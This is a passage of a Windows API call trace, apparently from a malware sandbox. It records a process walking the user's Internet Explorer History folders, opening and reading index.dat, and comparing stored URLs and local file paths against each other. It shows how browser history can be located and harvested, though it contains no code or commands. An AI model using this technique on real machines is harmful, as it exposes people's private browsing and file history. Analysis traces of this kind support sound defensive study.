[0069.114] FindClose (in: hFindFile=0x89ff18 | out: hFindFile=0x89ff18) returned 1 [0069.114] FindNextFileW (in: hFindFile=0x89fed8, lpFindFileData=0x289748 | out: lpFindFileData=0x289748) returned 0 [0069.114] FindClose (in: hFindFile=0x89fed8 | out: hFindFile=0x89fed8) returned 1 [0069.114] FindNextFileW (in: hFindFile=0x89fe98, lpFindFileData=0x28a144 | out: lpFindFileData=0x28a144) returned 1 [0069.114] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39 [0069.114] wcslen (_String="Low") returned 0x3 [0069.114] wcscpy (in: _Dest=0x28a394, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" [0069.114] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39 [0069.114] wcscat (in: _Dest=0x28a394, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\" [0069.114] wcscat (in: _Dest=0x28a394, _Source="Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low" [0069.114] wcscmp (_String1="Low", _String2="..") returned 1 [0069.114] wcscmp (_String1="Low", _String2=".") returned 1 [0069.114] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3d [0069.114] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3d [0069.114] wcslen (_String="*.*") returned 0x3 [0069.114] wcscpy (in: _Dest=0x2894c0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low" [0069.114] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3d [0069.114] wcscat (in: _Dest=0x2894c0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\" [0069.114] wcscat (in: _Dest=0x2894c0, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*.*" [0069.114] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*.*", lpFindFileData=0x289748 | out: lpFindFileData=0x289748) returned 0x89fed8 [0069.115] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3d [0069.115] wcslen (_String=".") returned 0x1 [0069.115] wcscpy (in: _Dest=0x289998, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low" [0069.115] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3d [0069.115] wcscat (in: _Dest=0x289998, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\" [0069.115] wcscat (in: _Dest=0x289998, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\." [0069.115] wcscmp (_String1=".", _String2="..") returned -1 [0069.115] wcscmp (_String1=".", _String2=".") returned 0 [0069.115] _wcsicmp (_String1=".", _String2="index.dat") returned -59 [0069.115] FindNextFileW (in: hFindFile=0x89fed8, lpFindFileData=0x289748 | out: lpFindFileData=0x289748) returned 1 [0069.115] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3d [0069.115] wcslen (_String="..") returned 0x2 [0069.115] wcscpy (in: _Dest=0x289998, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low" [0069.115] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3d [0069.115] wcscat (in: _Dest=0x289998, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\" [0069.115] wcscat (in: _Dest=0x289998, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\.." [0069.115] wcscmp (_String1="..", _String2="..") returned 0 [0069.115] _wcsicmp (_String1="..", _String2="index.dat") returned -59 [0069.115] FindNextFileW (in: hFindFile=0x89fed8, lpFindFileData=0x289748 | out: lpFindFileData=0x289748) returned 1 [0069.115] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3d [0069.115] wcslen (_String="desktop.ini") returned 0xb [0069.115] wcscpy (in: _Dest=0x289998, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low" [0069.115] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3d [0069.115] wcscat (in: _Dest=0x289998, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\" [0069.115] wcscat (in: _Dest=0x289998, _Source="desktop.ini" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\desktop.ini" [0069.115] _wcsicmp (_String1="desktop.ini", _String2="index.dat") returned -5 [0069.115] FindNextFileW (in: hFindFile=0x89fed8, lpFindFileData=0x289748 | out: lpFindFileData=0x289748) returned 1 [0069.115] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3d [0069.115] wcslen (_String="History.IE5") returned 0xb [0069.115] wcscpy (in: _Dest=0x289998, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low" [0069.115] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3d [0069.115] wcscat (in: _Dest=0x289998, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\" [0069.115] wcscat (in: _Dest=0x289998, _Source="History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" [0069.115] wcscmp (_String1="History.IE5", _String2="..") returned 1 [0069.115] wcscmp (_String1="History.IE5", _String2=".") returned 1 [0069.115] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49 [0069.115] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49 [0069.115] wcslen (_String="*.*") returned 0x3 [0069.115] wcscpy (in: _Dest=0x288ac4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" [0069.115] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49 [0069.115] wcscat (in: _Dest=0x288ac4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\" [0069.115] wcscat (in: _Dest=0x288ac4, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.*" [0069.115] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x288d4c | out: lpFindFileData=0x288d4c) returned 0x89ff18 [0069.130] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49 [0069.130] wcslen (_String=".") returned 0x1 [0069.130] wcscpy (in: _Dest=0x288f9c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" [0069.130] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49 [0069.130] wcscat (in: _Dest=0x288f9c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\" [0069.130] wcscat (in: _Dest=0x288f9c, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\." [0069.130] wcscmp (_String1=".", _String2="..") returned -1 [0069.130] wcscmp (_String1=".", _String2=".") returned 0 [0069.130] _wcsicmp (_String1=".", _String2="index.dat") returned -59 [0069.130] FindNextFileW (in: hFindFile=0x89ff18, lpFindFileData=0x288d4c | out: lpFindFileData=0x288d4c) returned 1 [0069.130] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49 [0069.130] wcslen (_String="..") returned 0x2 [0069.130] wcscpy (in: _Dest=0x288f9c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" [0069.130] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49 [0069.130] wcscat (in: _Dest=0x288f9c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\" [0069.130] wcscat (in: _Dest=0x288f9c, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\.." [0069.130] wcscmp (_String1="..", _String2="..") returned 0 [0069.130] _wcsicmp (_String1="..", _String2="index.dat") returned -59 [0069.130] FindNextFileW (in: hFindFile=0x89ff18, lpFindFileData=0x288d4c | out: lpFindFileData=0x288d4c) returned 1 [0069.130] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49 [0069.130] wcslen (_String="desktop.ini") returned 0xb [0069.130] wcscpy (in: _Dest=0x288f9c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" [0069.130] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49 [0069.131] wcscat (in: _Dest=0x288f9c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\" [0069.131] wcscat (in: _Dest=0x288f9c, _Source="desktop.ini" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\desktop.ini" [0069.131] _wcsicmp (_String1="desktop.ini", _String2="index.dat") returned -5 [0069.131] FindNextFileW (in: hFindFile=0x89ff18, lpFindFileData=0x288d4c | out: lpFindFileData=0x288d4c) returned 1 [0069.131] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49 [0069.131] wcslen (_String="index.dat") returned 0x9 [0069.131] wcscpy (in: _Dest=0x288f9c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" [0069.131] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49 [0069.131] wcscat (in: _Dest=0x288f9c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\" [0069.131] wcscat (in: _Dest=0x288f9c, _Source="index.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat" [0069.131] _wcsicmp (_String1="index.dat", _String2="index.dat") returned 0 [0069.131] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\index.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc8 [0069.133] SetFilePointer (in: hFile=0xc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.133] ReadFile (in: hFile=0xc8, lpBuffer=0x288a1c, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x2826e4, lpOverlapped=0x0 | out: lpBuffer=0x288a1c*, lpNumberOfBytesRead=0x2826e4*=0x20, lpOverlapped=0x0) returned 1 [0069.134] GetFileSize (in: hFile=0xc8, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8000 [0069.134] SetFilePointer (in: hFile=0xc8, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000 [0069.135] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.135] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.135] _strlwr (in: _Str="http://www.msn.com/" | out: _Str="http://www.msn.com/") returned="http://www.msn.com/" [0069.135] wcscmp (_String1="http://www.msn.com/", _String2=":host: computer") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2=":host: www.google.de") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/ihknzkjo.doc") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/o954v.gif") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/xv29v9lm6u3e.bmp") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/q6o2n7wwkpr.bmp") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/ebi_g_ji2vd2vnklrop5.ppt") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/eye27ehqblhl.bmp") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/bngtvm7.xlsx") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/1qpg-iyvnqu.bmp") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/fpn_m8owaavy2i.ots") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/aarrlt_jtdpkkjt_swo.xls") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/s_xsuwu8qqnzog4v9zrx.mkv") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/w94fqong.rtf") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/kd4kvqssjiojqr1.flv") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/j6dziy9vqbux5.ppt") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/c9ut6lytwia.xlsx") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/s3erd-a.bmp") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/mg6b0r2nv.ots") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/yiw1h.png") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/ftcc9f70gxzbb.gif") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/u_bk5.pps") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/ly3agvy_y5cf6nmd50e1.jpg") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/boukln.flv") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/2serklwgvw2wr0dvkh.docx") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/khpa.jpg") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/lrl%20osdtaq.jpg") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/spfa9u6bx.xls") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/oe_9.docx") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/neys-vvyovcjnl64w.pdf") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/vsiu.ppt") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/xmfffekl.gif") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/x2ubk6qmfay.mkv") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/tgste51da.pdf") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/0dhb1lq5yot7udpqilv.rtf") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/r4xqhuytc.bmp") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yv%20smf4nsa554p3vd9.jpg") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/9fo6aacn.bmp") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/tkhgm7ytxij4tygo3.csv") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/zgid.png") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/2ag4lbo.pdf") returned 1 [0069.135] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/u_x855jomdyckkuedf4y.jpg") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/gt_uelv0.rtf") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ktpvxxq7gk6v-bti3h2.csv") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/xi9mo3.ppt") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/ln5snup4dif.flv") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ijdl3pp8e7asb.mkv") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/imqafz%20rpvsig5hi.png") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/dogv5_s.png") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/cwnutkiuih3q13b4.png") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/z5jyw4ck3pxgs8vo6pwx.xls") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/h_7vjswkn-j5z6eibtc0.png") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/iy0bs-wzvfapifst.xlsx") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/zq3uv.gif") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/i92xqrotuygpp.png") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ox2%20tpjk0%20kyqwyzz.docx") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/zrockiiwrql0wttbyu.pdf") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/qbatepvwwrmxg.mkv") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/hp0a.pptx") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/tukxy_htj_46yx.mkv") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/xrlop0fhih6h4mumu.bmp") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/gg7cycfjmtiunlpskcq.pdf") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/rbaw.bmp") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/t6hliemu6l0r.ppt") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/pu8nkjiakvioxnl1gn5.docx") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/u8ej.mkv") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/8wgzy1b.png") returned 1 [0069.136] wcscmp (_String1="http://www.msn.com/", 